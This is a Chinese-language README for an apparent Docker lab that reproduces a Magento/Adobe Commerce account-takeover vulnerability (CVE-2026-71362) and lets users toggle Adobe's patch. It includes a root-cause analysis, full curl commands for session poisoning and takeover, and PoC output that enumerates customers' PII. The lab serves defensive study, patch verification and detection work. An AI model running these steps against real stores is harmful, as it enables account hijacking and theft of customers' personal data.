一个自包含、单命令启动的 Docker 实验环境,可端到端复现 CVE-2026-71362,并让你验证 Adobe 的修复方案,使防御者、研究人员和学生能够在一次性商店实例上研究真实的账户接管原语。
| CVE | CVE-2026-71362 |
| 产品 | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| 漏洞类型 | 不正确的授权(CWE-863)— 客户会话身份切换 → 账户接管 |
| 严重性 | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 安全公告 | Adobe APSB26-92(2026-08-11) |
| 受影响版本 | Adobe Commerce 2.4.4–2.4.9、Magento Open Source 2.4.6–2.4.9、B2B 1.3.3–1.5.3——即 -2026-jul 隔离补丁级别及更早版本 |
| 已修复版本 | -2026-aug 隔离补丁级别(补丁 ID 24Xp-2026-08-001-CE) |
⚠️ 仅限授权使用
本实验环境旨在复现一个已公开、已修复的漏洞,用于防御研究和 教学。请仅针对它所构建的一次性商店实例运行。切勿将其用于任何 你不拥有、或未经明确书面许可进行测试的 Magento/Adobe Commerce 实例。 你有责任遵守所有适用法律。
Magento\Customer\Controller\Account\Edit::execute() 会将一次失败的 editPost 遗留在会话中的原始、攻击者可控的
customer_form_data 送入 DataObjectHelper::populateWithArray(),后者会把每一个匹配的键都复制到客户
对象上——包括 id。随后该对象通过 Session::setCustomerData() → setCustomerId($object->getId()) 写回,
而由于 Customer\Model\Session::getId() 只是返回 getCustomerId(),仅覆盖 customer_id
就能让 isLoggedIn() 以受害者的身份返回 true。整个过程没有任何密码、令牌或所有权
检查。攻击者只需一个自行注册的一次性账户,即可将会话重新绑定到任意客户 ID,
并读取该账户的 PII(个人身份信息)、订单、地址和已保存的支付令牌。
完整分析:docs/ROOTCAUSE.md。检测与 WAF 规则: docs/DETECTION.md。
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txt构建过程从公开源拉取 Magento Open Source;无需 Adobe Marketplace 密钥。
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
商店前台:http://127.0.0.1:8080/ · 管理后台:http://127.0.0.1:8080/admin(admin /
Admin123!)。可在 .env 中修改主机/端口(参见 .env.example)——该值必须与你浏览的
URL 一致,因为 Magento 会将会话 Cookie 绑定到商店的基础 URL。
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
make patch 会换入 patch/Edit.patched.php——即与 patch/official-APSB26-92-module-customer.patch
完全一致的上游改动。仅切换这一个文件的开关,即可验证该漏洞确实就来自这一处代码改动。
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
请为你的分支应用 APSB26-92 2026 年 8 月隔离补丁(24Xp-2026-08-001-CE)。
Adobe 在 https://repo.magento.com/patch/patch-registry.json 提供无需凭据即可访问的补丁注册表与原始 diff。
该修复并未发布在公开 GitHub 上——没有为其发布任何 Composer 包或 git 标签,因此 composer update 不会拉取到它。
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs 并等待
出现 Install complete,然后执行 make wait。generated/ 目录存在权限竞争;运行 make shell
然后执行 php bin/magento cache:flush(入口脚本通常会处理此问题)。.env 中的 MAGENTO_HOST/HOST_PORT 与你(以及 TARGET)使用的 URL 相同。MIT — 参见 LICENSE。仅供教育与授权测试使用,不提供任何担保。